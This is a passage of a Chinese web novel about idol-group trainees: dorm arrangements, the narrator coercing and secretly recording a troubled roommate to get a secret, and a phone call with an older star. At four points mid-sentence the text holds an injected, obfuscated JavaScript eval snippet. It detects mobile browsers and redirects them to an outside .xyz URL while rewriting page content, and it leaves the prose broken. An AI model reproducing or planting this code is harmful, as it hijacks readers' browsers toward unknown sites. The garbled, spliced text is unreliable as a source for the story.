未来在这个征集列表里做挑选,又能水一集vlog。只是蓝鸢听祁心忱说,这些颜色和名字其实并不一定会真的让他们选,可能只是公司选好让大家走个流程。 对成员来说,进行选择的标准往往就是看眼缘。而公司需要思考更多的事,比如会不会和谁撞上,比如应援物好不好做,又比如是否阳光积极正能量,有没有什么不好的寓意,诸如此类。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽然宁郁寒从这对cp里获益更多,但蓝鸢拿到的好处也不少,留着总归不是坏事,多一个表面朋友也不是坏事。 “不是这个意思啦,”蓝鸢于是编造解释,“你肯定是和我关系最好的练习生——而且小游哥哥是你的朋友嘛。” “你怎么还真的在解释,”宁郁寒一听,笑了出声,“我没有很介意这个,只是随便问问,你想和谁住都可以,不要冷落我就好。” 至于在赛时见面会对粉丝的说法……两人则统一了口径,说是生活习惯不太一样,住一起会有冲突。 而现在……蓝鸢就准备用这个解释,继续作为这次依然不和宁郁寒同宿舍的理由。 “我主要是担心,现在一起住的话,大家会觉得我们见面会在撒谎,”蓝鸢看着他说,“此外可能是……我觉得让小艾和任淮住一起很危险,你能懂吗?” “我能懂。”宁郁寒说,虽然蓝鸢根本不知道他懂了什么,接着他又说,“其实没关系,我并不觉得这个宿舍选择很重要,只是一个睡觉的地方,你真的不用和我解释啦,放心。” 蓝鸢这回看着宁郁寒的眼睛,莫名其妙从中读出了“我在说实话”五个字。 倒也是,他又想。说不定宁郁寒也不想和自己一起住,毕竟那样很难藏住三个嫂子——简旋安是本地人,预期中的可能经常不在,叶游也在谈恋爱,他们肯定是不会互相背刺的。 “嗯。”于是蓝鸢放心地点点头,“那就好。” ——虽然他并不想和宁郁寒深交,不过在团队活动期,在宁郁寒暴雷之前,表面关系总得维持。这不仅仅是为了cp或者是为了日后提纯……蓝鸢其实更希望那些cp粉脱粉,否则她们早晚会因为正主的塑料关系失望,但他们有团综、有各种活动。 蓝鸢需要能和自己站在一边的“朋友”。 18. 夜话1.0 和宁郁寒解释清楚后,蓝鸢就回到自己房间,同沈艾初商讨这个房间的使用细则。 这个商讨的过程很简单。 公共区域看着用,不需要太分明;那种箱子柜子之类的平分就行,沈艾初让蓝鸢先选,他也没有推辞,毕竟每一个看上去都一模一样。 选完过后,就是将行李箱内的东西填装进去。 蓝鸢的行李很少,沈艾初也不是很多,两人收拾只花了不到半小时,最后室内还空出了大量空间。 比较私人化的个人用品肯定都是从选秀基地直接带过来,而为了让大家顺利入住,像床单被子之类的都是早早由工作人员准备好,就像酒店一样可以直接入住。 ……也像酒店一样很单调,单调到缺乏生活气息。 虽然在这种地方寻求生活气息本就没什么意义,但是蓝鸢不太想回家和哥哥待在一起,未来的大学宿舍又不是很私人的地方。 那起码接下来的很多个月,他还是准备将这里当成是“临时的家”来看待的。 “可以呀,”沈艾初听到他“我们要不要买点什么装饰一下”的提议后,点点头说,“其实我早想说这句话了……就是担心小圆你不喜欢。” “说了才知道我喜不喜欢,你可以直接问,不要猜我的喜好。”蓝鸢说,然后又随口问,“你最近晚上都在这住吗?” “啊?”沈艾初愣愣地发出一声反问,然后诡异地停顿了片刻,才又说,“我在的,其实……” 沈艾初说了个开头,又是一副欲言又止的样子。于是蓝鸢干脆顺着他的意,往下问:“其实?” “其实他并不会经常来找我……小圆你放心,我绝对不会耽误队里、也不会影响你的。”沈艾初深吸一口气,而后说。 “你想太多了,”蓝鸢又顿了顿,才回答,“只是我下下周就高考了,最近晚上需要复习,可能会需要麻烦你小声一点——并没有不让你去见金主的意思。” 这是实话。 而沈艾初听完,就猛然抬头,像是没想到蓝鸢的用词这么直接。 “但是呢,既然都说到这里了,我也好奇一下,”蓝鸢眨了眨眼,然后笑了起来,很温和地提问道,“对于你这个C位的成绩,那位还满意吗?” “……对不起。”蓝鸢说完这句话的十秒钟内,看着沈艾初的表情变了又变,像是有无数种不同的念头在心中闪过,最后这人不知道在想什么,憋出了一句毫无意义的道歉。 “你又没做错什么事,道什么歉?”蓝鸢于是直直地盯着他说,“接下来的一段时间还是室友,你准备一直在我面前摆出这种小心翼翼的状态吗?” “我不是……我没有。”沈艾初说着,语气突然就坚定了几分,莫名点了点头,“我懂了小圆。” 你又懂什么了?蓝鸢很想问。 只是他并没有真的问出来,只是又笑了一声,说了句“我开玩笑的,别太紧张”。 只是沈艾初听到这话,看起来好像更紧张了。 * 沈艾初这人在蓝鸢面前表现得小心翼翼一事,还得追溯到二公结束后的那段时间。 二公录完之后有几天的休息日。 三公都是节目组的原创歌曲,虽然那会粉丝给练习生选歌投票已经投完了,但练习生们并没有拿到完整的歌舞demo,也就无从像前几次公演那样提前偷偷练习。 于是这几天的休息日便真的成了“自由活动”,做什么的都有。 只是这种时间对蓝鸢来说,能做的其实就两个选择,自己悄悄练习歌舞,又或者…… 蓝鸢坐在练习楼顶层的空房间,桌前摆着一张摊开的化学试卷。三门主课还好说,物化生的试卷他有空都会找来做一做,蓝鸢成绩不错,但也没好到真能一年不学直接考的程度……有那个水平的话,他应该就靠文化课去和祁心忱做校友了。 而之所以不在宿舍做,主要是被两个室友赶出来的。 当时任淮和退赛哥还在表面和谐状态。最近有个叫Terminus的moba端游刚出了手游版,两个人在宿舍里连麦打游戏——虽然带手机是常态,但平时大家还是没这么高调,只是每次公演过后的那几天,基地的管理尤其宽松,staff对什么都睁一只眼闭一只眼。 况且他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437667|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宿舍还有个更过分的……本来两人还想拉沈艾初一起打游戏,但沈艾初给他们说自己要出基地一趟,要办点事,晚上会回来,但不要等他,应该等不到。 他们也想拉蓝鸢。不过蓝鸢以“手机太旧带不动”为由拒绝了建议——虽然这也是实话。 然后自己悄悄跑出去做题去了。 他做了一套化学,又做了一套生物,总算是抱着卷子打算回去。 只是刚出房间,就看到门口站着个……说意外也不意外、说不意外也有点意外的人。 “晚上好,”祁心忱对着他挥了挥手,又从身后拿了个小袋子递给他,“给你带了白天烤的小饼干。” “好诶,谢谢哥哥,”蓝鸢眨眨眼,接过袋子,感觉突然心情变愉快了不少,“今天是什么味道的呀?” “蓝莓和巧克力,大概对半开,还给你塞了几颗橙子味的糖,是今天的实验品,不过应该还不错,”祁心忱说,“下次想要什么味道的?” “除了抹茶都可以,几乎不挑,”蓝鸢对着他笑了笑,又问,“对了,你怎么在这里?又怎么知道我在这里呀?” “刚从监控室过来。”祁心忱说,又在蓝鸢带着询问的目光里补充道,“晚上刚好来了点新歌的灵感,过来借用一下你们的设备记下来。” “在准备新专了吗?”蓝鸢好奇。 祁心忱他们团在去年11月解散。 解散三天之后,他出了个早早开始做准备的个人EP,收录了五首歌……也就是这五首歌,以及后续连着上的一系列音乐节和音综,将他从一个热度只能说还算不错的“流量明星”,推到了现在常驻微博明星超话榜前三的程度,荣获一大堆“新晋顶流”的通稿。 很玄幻,但真正听过那几首歌之后,这事又不那么让人意外。蓝鸢想。 如今的流量时代下,获取超高热度本来就是很难又很简单的事。难在可遇不可求,简单在真的很快、上限也很高。 “不是,”祁心忱却摇了摇头,说出了蓝鸢意料之外的答案,“导师合作舞台不是要带一首自己的歌和练习生一起表演吗,我打算专门写一首。” 19. 夜话2.0 蓝鸢有点意外。 他想问“你说这个是不是想建议我来你的组”,但还没想好要不要说,祁心忱就转移了话题。 “对了,”他说,“我刚刚去监控室,其实是因为当时坐在窗边,刚好对着大门,看到沈艾初走进来——我记得你早上说他下午要出去的是吧。” “嗯,他是这么说的,”蓝鸢点点头,“所以他大半夜来练习楼干什么?” “这就是问题了,”祁心忱偏了偏头说,“可能是来发呆的。” “啊?”蓝鸢迷惑,“什么意思呀?这是什么我听不懂的暗喻吗?” “字面意思。”祁心忱说,“你跟我去监控室……算了,你直接去找他吧。” “我为什么要找他?”蓝鸢不解,“到底什么情况呀。” “你拿了我的小饼干,帮我满足一下好奇心嘛,”祁心忱眨眨眼说,“我看他一个人坐在空练习室什么都不做,所以猜想是不是下午出门发生了什么事,但是他对我似乎有点防备,所以你去试探看?” “……你道德绑架我啊哥哥。”蓝鸢小声说,内心倒是没什么怨言,毕竟他虽然不像祁心忱这样对什么都充斥着过量的探究欲,但也并非全无好奇之心,“所以人在哪里?” * 蓝鸢觉得这件事非常诡异。 诡异在于,他现在被祁心忱指使,要去找明摆着打算一个人安静待着的沈艾初打探对方的隐私——蓝鸢心知这不是一件非常光明正大的事,但他也确实没有停下脚步。 练习室的门打开,坐在墙边的沈艾初抬起头,看向到来的不速之客。 “你怎么在这里?”他问,声音有气无力地。 “看你一直没回宿舍,所以到处找找,”蓝鸢面不改色地说着假话,“没想到能在这里遇到你。” “编故事能不能用点心。”沈艾初说,“谁信你会专门来找我。” “我自己信就可以了,”蓝鸢于是笑了笑,也蹲下来,将视线降低到和沈艾初同一高度,然后开口道,“所以大半夜坐在这,连手机都不看是要做什么呢?” “不做什么,”沈艾初说,肉眼可见的心情不太好……并非暴躁或是不满,而是那种全身上下弥漫着某种“死气”的不太好,“不想回去……不行吗?” “那你要来一块饼干吗?”蓝鸢于是换了个角度,从包里摸了一块刚刚从祁心忱的袋子里取出来的小饼干,忍痛将其递到沈艾初面前,“大晚上的,不吃点东西不行的。” “不要。”沈艾初说。 “真不要吗?”蓝鸢见不得祁心忱的饼干被拒绝,于是又重复问了一遍。 “……那给我吧。”沈艾初顿了顿,不知道想了什么,最后说——而后他伸出手来接蓝鸢手上的饼干,袖子往下滑落一段。 就恰恰好这一眼,蓝鸢看见他手腕上的红色痕迹。 于是饼干没给出去,蓝鸢很自然地一反手,在沈艾初明显一瞬间变得慌乱起来的目光的注视下,捏住他的手腕:“……你准备自杀吗?” 问完这话,两人都沉默了片刻。 实际上,刚问出口,蓝鸢接着就反应过来……沈艾初手腕上的痕迹并非是那种,他看身边有的同学会在手上划的一道一道的、像是刀伤的痕迹,而是要宽一点,看不出是什么造成的。 但看上去也和跳舞无关。 “和你有什么关系。”沈艾初突然就把手抽了回来,“能不能去做你的题,不要在这里多管闲事。” “和我当然有关系,”蓝鸢突然就不开心了——他不喜欢别人对他用这种语气说话,加上心中铭记着祁心忱赋予的“探究发生了什么”的使命,他身子向前倾,伸出手,按在沈艾初的脖子边,轻轻划了划,才又说,“你出事了我会留下心理阴影的。” 或许是因为脖子上的触感,沈艾初明显抖了一下。 他歪了歪脑袋,像是想要避开蓝鸢搭在脖子上的指尖,但很自然地,蓝鸢没能让他如愿,反而是又移动了手指。 蓝鸢能感觉到沈艾初的颈动脉轻微跳动的触感。 “你到底想做什么?”沈艾初不知道在想什么——按理来说这种时候应该早有激烈的动作,但他只是屈起腿,很轻地在蓝鸢腿上踢了一下作为反抗。 “这话应该我问吧?”只是蓝鸢此刻处于注意力拉满的状态,于是沈艾初这样一动,他就看见了……这人那一瞬间露出来的脚腕之上,也是类似的红色痕迹。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437668|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我不喜欢别人碰我,任何形式都不喜欢,所以安分一点,明白吗?”蓝鸢心中很忐忑且紧张地试探沈艾初的底线,表面倒是依然装作面不改色般,顺手又在沈艾初颈动脉之上用了点力按了按,“该交代什么就交代,比如说……” 蓝鸢说到这里,后退一步,以沈艾初没反应过来的速度,将他的制服裤腿拉了上去。 如同意料之中的……一大片奇怪又不那么奇怪的伤痕,绝对不是跳舞能摔出来的痕迹,怎么来的再容易想到不过。 “你还喜欢这个啊?这算什么……恋痛癖吗?”蓝鸢缓慢地眨了眨眼,明知故问道,“原来你不止恋哥啊。” 蓝鸢说完笑了笑,以那种他私下练习过的、面对粉丝才会展现的好看笑法。 “小圆你……”沈艾初说了个开头,又欲言又止。 实际上蓝鸢也搞不懂,为什么这个人面对自己这种窥探对方隐私的行为时,能如此……逆来顺受?既不像求助,也不像是对自己充分信任,不如说有点破罐子破摔的味道在。 蓝鸢觉得他这会脑子是绝对不清醒的,可能是心理问题,也可能是生理问题,但绝对不正常。 但总之,沈艾初不反抗,蓝鸢就决定趁人之危——自己一向公平公正,那现在准备做的事,就当是和沈艾初给自己买黑通稿抵消了。蓝鸢心想。 过会总得帮忙安置一下这人。但在此之前……蓝鸢干脆将计就计,继续刺激沈艾初说:“不过任淮知道吗?我可以给他说哦,我今天看他打游戏,就觉得他是有点暴力倾向的,说不定会因此更喜欢你一点。” “……不要!”沈艾初本来没什么特别强烈的反应,结果听到“任淮”两个字,像是突然就醒了一般,居然开始出声反抗了起来,“你别给他说。” “哦,可以啊,”蓝鸢点了点头,然后笑了出声,他一只手重新划过沈艾初的颈动脉,另一只放在口袋里的手轻轻推开录音笔的按键,“那小艾你给我说点我想听的——你给我说多一点,我就告诉他少一点,你看如何?或者换个主意,我感觉你状态不太好,现在送你去医院看看吧?” “不行,不去医院,”沈艾初回答地很快,像是出自本能一般,“……我给你说就是了。” 20. 禁止外传 那天晚上,蓝鸢如愿以偿,从看起来不是很清醒、所以被威胁一下就什么都会说的沈艾初那里,套到了他最大的把柄。 关于他那个……靠着原生公司连线认识的、有着奇怪癖好的、不知道能做什么、但总之让蓝鸢刚刚燃烧起来的C位梦想再次破碎的金主的事。 不过蓝鸢也不打算揭发他——既无处揭发,也没有什么实际意义。 他打听这件事的目的,也只是为了满足祁心忱的好奇心、又为自己争取一些……不知道有没有用、但聊胜于无的信息优势。 其实还是有用的。如今的蓝鸢回头想。 如今这个时代,藏得再好的料都可能有被曝光的一天。有些东西提前知道,至少可以保证在那一天到来之时,作为和沈艾初交集不少的队友,自己不会太突然而毫无准备。 而当时的蓝鸢没有想那么多。 作为随意窥探沈艾初“隐私”的补偿,他做了件好事,说服了沈艾初回去睡觉,并在面对剩下两个人询问的时候,编写了一套“出门写试卷遇上沈艾初回来,所以让这人陪自己受罪”的理由。 而听到“出门写试卷”才意识到自己打游戏声音太大的两人……对于这个说辞已经没有任何想要细究的欲望了,也不太在意蓝鸢说完这话就又出门了的事。 蓝鸢想的是回练习楼给祁心忱复命、顺便观赏他写歌,而两个游戏玩家想的大概想的是快结束这一part。 而第二天遇到沈艾初时,这人看上去脑子已经清醒了,应该也顺着蓝鸢给他编造的谎话说了下去,让他昨天偷偷跑出去做的事,在这个基地里成了只有两个人知道的“秘密”。 或者说三个人。毕竟蓝鸢将自己知道的一切信息都告知了祁心忱。 只是唯一让他有些意外的是……他本以为沈艾初在理智回归之后会反过来威胁或者警告自己,但什么都没有。 与之相反的是,从那天开始,沈艾初每次见到他,都有种莫名其妙的畏惧感,不知道是怎么回事。 我明明还没来得及把“我都录音了”这个后手抬出来啊。 蓝鸢反思。 于是他最终选择用“性格如此”来解释沈艾初的行为。 至于这种性格形成的原因……可能有沈艾初父母离婚、两边都放养他,所以从小缺少爱和自尊教育的原因,但蓝鸢自己也不是被父母好好养大的那种小孩,所以他只能理解,同样并不太共情。 但总之,当下这会,蓝鸢并不打算和沈艾初说太多话……他还有试卷要写。 晚饭可以随便靠外卖应付一下,祁心忱晚上要去的那个颁奖礼没有舞台,所以也没必要专门看直播,回头看看他拿什么奖就可以了。 蓝鸢和沈艾初商议片刻,很轻松地获得了接下来两周这个房间唯一书桌的使用权,接着就开始写他的试卷。 写的时候没怎么注意时间,也没怎么注意室友的动向,除了中途抽空吃了点晚饭——等做完今天给自己预留的任务,蓝鸢一回头,发现沈艾初已经不在房间里了,不知道去了哪里,而放在一边的手机,一点开就是一条消息提示。 是祁心忱给他发的消息,发来的时间已经是半小时之前了,就一句话。 祁心忱: 【颁奖礼结束了!】 蓝鸢突然就紧张了起来。 这话怎么看怎么像是在报告行程,但是这人总归绝无可能给自己报告行程……吧?蓝鸢如此想了想,一边感谢微信没有已读功能,一边点开微博,在热搜看到了意料之中的、祁心忱又拿了个流行歌曲奖的消息。 蓝鸢于是点回对话框,顺理成章地回复他。 迟筝: 【看到你拿奖啦】 【恭喜呀】 他发完,又反思了一下这个回答会不会有点太公式化了。 不过还没想明白,祁心忱新的回复随之而来。 祁心忱: 【感谢OwO!你什么时候有空,请你吃火锅庆祝一下】 【现在还有别的什么想问我的吗?】 蓝鸢愣了愣,在心中把对面的第二句话复读了一遍,接着就开始了阅读理解……这一天虽然没发生很多事,但和这几个队友在镜头前相处,多少有点度日如年,如今祁心忱这话一问出来,蓝鸢的大脑才被重新拉回到昨晚和今早的情境之中。 只是——他应该回什么呢?蓝鸢开始在内心头脑风暴。比如说,粗略地问昨晚发生了什么?又或者具体地问为什么那个耳钉会到对方耳朵上? 因为不知道祁心忱是什么意图,所以好像都不是很合适。 于是蓝鸢决定先回复前一句。 他先是打开Butterfl ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437669|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' y的通知群,把写了“禁止外传”的那个接下来一段时间的内部版行程文件发给祁心忱,接着就想到了绝佳的、可以避开这种不确定处境的下一个回答。 迟筝: 【可以给你打个电话吗?】 祁心忱: 【好哦】 【稍等三分钟】 * “忱忱怎么一直在看手机呀?”对面的男生偏了偏头问,“甜点只剩一块了,再不吃就没了哦。” “啊,好的,”祁心忱的思绪被打断,于是他抬起头,笑了一声,把桌上那盘糕点的最后一块夹进碗里,才回答道,“在回消息。” “嗯嗯,这样子一看就知道啦,”坐在他身边的顾洛知则点点头,附和了一句,“他在和小男友聊天呢。” “你在说什么?”祁心忱转过头看他,“哪来的小男友,能不能不要给小圆乱造谣。” “看吧,承认了。”顾洛知笑了起来,对坐在方桌另一边的两个人说,“没反驳的点都是我说中的。” 在这种颁奖礼结束之后,和同在现场的朋友聚餐,算是非常顺理成章的事,今天也不例外。 如今这张桌上,除了祁心忱的前队友顾洛知外,刚刚说话的男生叫乔亦,坐他旁边在吃鱼所以保持安静的叫应时月,两个人都是一个剧场男团Link的成员,因为去年底合作写的一首歌意外有了热度,所以也出现在了今天的颁奖礼现场。 这两人本来是顾洛知的朋友,只是Dreams后半期祁心忱和顾洛知大部分时间都一起行动,加上一些机缘巧合,顺带还有应时月是祁心忱同校学长这层关系……总之,至少到现在,他俩也变成了祁心忱的朋友,于是顺理成章地,今晚组出了这样一个饭局。 只是……想到“同校学长”,祁心忱突然计从中来。 “你能不能不要想这么多,”他顿了顿说,然后反问一句,“我照顾一下学弟是理所当然的吧?” “对对对,你毕业了他还没入学的高中学弟也是学弟对吧,”顾洛知开玩笑道,“小月哥哥,有人在明示你了。” 应时月眨了眨眼,然后低头笑了起来。 “算了,不和你说了,”祁心忱深吸了一口气,余光看着手机上传来的新消息,给自己找了一个绝佳的离开这段对话的借口,“刚好我得去回个电话。” 21. 闪回1.0 祁心忱出了他们的包间,专程绕到不会遇上什么外人的天台上,才打算给蓝鸢回电话。 这个餐厅他们经常来。顾洛知是个富二代,家里主要是搞餐厅和酒店连锁的,这家店也是他家的,于是作为朋友的祁心忱能很自然地进出各种一般顾客不能进出的地方。 实际上,他走出包间的前一刻,顾洛知还在背后阴阳怪气地调侃了一句“有的人电话遁去了”。 不过顾洛知这人平日里在一群朋友中都是被调侃的对象,至少面对自己时很难在言语上取胜。难得让他抓了个把柄,祁心忱本人倒也不是特别介意。 他只是低下头,点开手机屏幕,给蓝鸢发了一条信息。 stars: 【现在可以说话吗?】 * 蓝鸢看着对面发过来的三分钟,就猜到这人大概率还在外面,得找个能单独说话的位置,于是也不是很急,只盯着聊天框发呆,等待祁心忱的下一条消息。 当然,实际上的用时还并没有三分钟那么长,仅仅是两分钟不到,祁心忱的第二条消息就传了过来。 蓝鸢回了他一句“可以”。几秒之后,手机上就显示了一个陌生号码的来电。 他愣了愣,才按下接听键,祁心忱的声音从电话另一端传来,第一句就是“你是不是没存我电话号”。 “好像是没有,”蓝鸢说,“感觉特别久没有问过谁的电话号了,都是打微信电话的。” “那你存一下。”祁心忱在对面说,“我比较习惯直接打电话号。” 蓝鸢点点头,接着才意识到对方看不见自己的点头,于是又说了句“好”。他没有再问祁心忱又是怎么知道自己的号码的——能知道的途径实在是太多了,对方不知道才不正常。 “对了,你的耳钉还在我这里呢。”只是下一刻,祁心忱新的一句发言,就让蓝鸢还在飘散的思绪直接被拉了回来。 对面这话说得很随意,就像是在说“我正在吃饭”一样随意,但就是莫名其妙让蓝鸢慌了片刻……他偏头看了看沈艾初的旅行箱,突然想起这人一公时候在宿舍里讨论祁心忱,说“祁老师开始无差别攻击所有人排练不上心的前一句话,也是很随意且愉快的今天天气真好”。 “……我知道。”蓝鸢思考片刻,决定有所遮掩但也实话实说,毕竟祁心忱能听出来他骗人,“昨天脑子可能有点不清楚,我是送给你了吗——是的话,也不是要撤回的意思,给能戴的人当然是最好的,只是有点记不清了。” “没送给我。”只是对面的回答却出乎蓝鸢的预期,而且让蓝鸢真的开始有点慌了,“是你硬要给我戴上的,差点给我戳了个新耳洞出来。” 祁心忱说这话的时候尾音上扬,像是在笑。 但蓝鸢有点笑不出来了。 他无法求证这句话的真假,只不过祁心忱大概不会在这种事上说假话,所以他决定光速滑跪。 “……对不起,我错了,会不会很疼啊,”蓝鸢咬了咬舌尖,然后说,“我真的什么都不记得了……以后绝对一滴酒都不沾。” ——说到这里的时候,他发现自己居然有点开始想念那个聊天框了。 提出和祁心忱打电话,是因为写在聊天框里的文字都明明白白放在那里,不像直接对话一样可以含糊其辞、或者通过对方的语气判断应该的回应。 只是……蓝鸢觉得自己这会特别、特别需要一个用来卖萌的颜文字。 “以后这种事想拒绝直接拒绝就可以了,不用迁就谁的,”祁心忱又说,语气中并没有什么额外的意味,让蓝鸢松了口气,“如果对面是什么不好惹的人就来找我,我……算了,我解决不了,但我可以找临路的人解决。” 蓝鸢笑了一声。 “但是确实有点疼的,因为你一直戳不对位置。”只是祁心忱下一句话,又让他的笑停在了半途,“我怀疑你是不是也有点近视了啊,小圆同学。” “啊,”蓝鸢愣愣地问,“那现在感觉还好吗……真的很对不起,我也不知道会那样。” “倒是没有真的受伤,不用担心这个,”祁心忱笑了一声说,“不过这个耳钉我觉得很好看,我也很喜欢,所以我打算擅自将它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437670|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 占为己有了——作为补偿的话,我回头送你一个我做的八音盒吧,就是得等下下个月了,我前几天才画好图纸。” 蓝鸢闻言停顿了一下。 他开始思考,自己是不是忘记给祁心忱说过那个耳钉只花了五十块的事——但应该没有忘记,况且祁心忱知道这个耳钉是录衍生期间买的,就肯定知道它只是个不值钱的地摊货。 大概是真的很喜欢?蓝鸢想,毕竟那确实是一个很好看的耳钉。即使祁心忱知道那是“蓝色鸢尾花”,他兴许也不是很介意。 “其实哥哥你可以早点说的,”蓝鸢于是顺着他的话说下去,“其实本来就是想给你的,但是感觉太便宜了,加上可能会让人想到我,所以感觉不是很合适,当时才没有给你。” “让人想到你有什么问题吗?”祁心忱却反问道。 有什么问题?蓝鸢当然说不上来。 这种事摆在台面上,cp粉会嗑一口,而对于cp粉以外的观众而言……如果蓝鸢和祁心忱是队友关系,可能能借此来一句“你们卖腐卖得太严重太刻意了”,但偏偏他们不是,他们只是没有卖腐kpi的普通前后辈,连这方面的指责都不会有。 即使蓝鸢自己跳出来说“这是我送的”,估计在会造谣已隐婚的cp粉之外的所有人眼中,也只是“确实关系很好”的证明。 唯一的问题只是蓝鸢会心虚。 他承认,自己想把耳钉送给祁心忱,确实是抱着一种“送出代表蓝鸢的信物”的念头的……即使那时候的他还没有确切明白自己的心意。 但放在如今,就算知道所有人都不会觉得有问题,他也会想别的……比如说,祁心忱自己又怎么想呢? 事实上,蓝鸢虽然将自己的喜欢定义为“暗恋”,但他其实说不准自己是不是真的在暗恋。 祁心忱这个人太敏锐了,可能早就看穿了一切,只是为了维护他们的关系,所以什么都不说。 “你明明昨晚自己就说的是,”只是祁心忱补充的下一句话,再次货真价实把蓝鸢吓了一跳,“想让别人看到这个耳钉就想到你呢。” 22. 闪回2.0 “……真的吗?”虽然祁心忱看不到,但蓝鸢还是不由自主地疯狂眨眼,像是这样就能意念传递过去自己的心情一般,“我……我确实想让大家知道我和你关系很好,但是如果我真的说了,那可能确实有点不太清醒。” 蓝鸢最终决定实话实说,因为他真的编不出来什么借口。 无论祁心忱猜什么或者看出来什么都没关系,蓝鸢心想,只要贯彻“不承认”原则,那就不会有什么事。 “不过你真的一点点也想不起来吗,”祁心忱的声音从话筒另一端传来,平铺直叙到有点意味不明,又让蓝鸢的心提了起来,“不能试图回忆一下吗?我听说很多人清醒之后是能慢慢回忆起来的。” “……你想让我回忆什么?”蓝鸢深吸一口气,最终下定决心问了出来,“所以我昨天是不是确实做了什么不该做的事,或者说了什么不该说的话?” “那是今天凌晨,”祁心忱指正了一句,又笑了一声,“没有,什么不该说不该做的都没有,如果你真的想听的话,除了碰倒瓶子给自己洒了一身水、硬要给我戴耳钉、威胁我给你画一张新的小纸条还有让我下回见面给你带一袋子小饼干以外,好像也没有别的大事了。” ……蓝鸢现在的心情很绝望。各种意义上的。 在祁心忱说这句话的过程中,他时时刻刻想打断,但就是说不出话,于是硬生生地听完了这整段让人头皮发麻的恐怖文字。关键是……听对方这么一说,不知道是否是触发了什么人脑内潜在的“检查点”,蓝鸢脑子里还真就闪过了一点点陌生的、没见过的片段。 片段里的祁心忱坐在床边,自己站在旁边凑过去,像是要将什么东西往他耳朵上按——片段里的祁心忱懂了动嘴,像是在说什么,但蓝鸢实在想不起来他在说什么了。 而到了再下一刻,则是祁心忱被自己推倒在了床上,长发在白色的被子上散开,而蓝鸢隐隐约约看见自己伸出另一只空着的手,试图去摘对方的眼镜。 只是就这一点点闪回的片段,再往后,他的记忆又开始模糊了起来。 “我好想死。”蓝鸢听说过那种……断片之后有可能会被别人的话或者类似的场景引发记忆的故事,这显然是真实发生过的。于是他深吸一口气,最后用一种生无可恋的语气说。 祁心忱当然不知道他此刻正在想什么,但听到这四个字,在电话那头反而是笑得特别开心,一边笑一边说“人总是会有社死时刻的”。 蓝鸢叹气:“……这么一说我更想死了。” “好啦好啦,”又过了几秒,祁心忱总算笑完,“我们不说这个了,不过你昨天点的小饼干我明晚就可以送过来,你到时候注意一下我消息哦。” 蓝鸢顿了顿,思考自己什么时候点的小饼干……接着后知后觉想起,祁心忱两分钟前数的那串“罪状”。 不过自己不太清醒的时候会点小饼干确实……是很合情合理的一件事。蓝鸢又想。 祁心忱不知道是从哪里学的手艺,但总之做甜点真的很好吃,是蓝鸢从来没在任何地方吃到过的、惊为天人的那种好吃。蓝鸢第一次吃的时候就被彻底惊艳到了……即使那时候的他还在对祁心忱抱有某种偏见的阶段。 只是,想到第一次吃到小饼干,蓝鸢突然又回忆起了另一个事。 “嗯,如果我没回消息就给我打电话好了,我给你开一个特别铃声,”蓝鸢先是答应对方的话,然后问,“对了哥哥,你还记得你之前说过可以教我做那个饼干吗,这个还有效吗?” 实际上,蓝鸢说这句话,只是在某一个瞬间,他突然感觉“每次都让祁心忱带新的饼干来”是不是有点不太好……说到底这人并不是很闲,又是大四下又是流量偶像,一下午时间用来写歌可能又是一首爆曲,一下午时间用来做小饼干,那确实就只能得到小饼干。 只是这会并不是适合提这个“承诺”的时机,蓝鸢说出口,又后知后觉地有些后悔。希望祁心忱不要联想太多,毕竟“教做小饼干”一事只是祁心忱随口提的,还曾经被蓝鸢拒绝过一次。 那还是在他们第一次见面的时候。 * 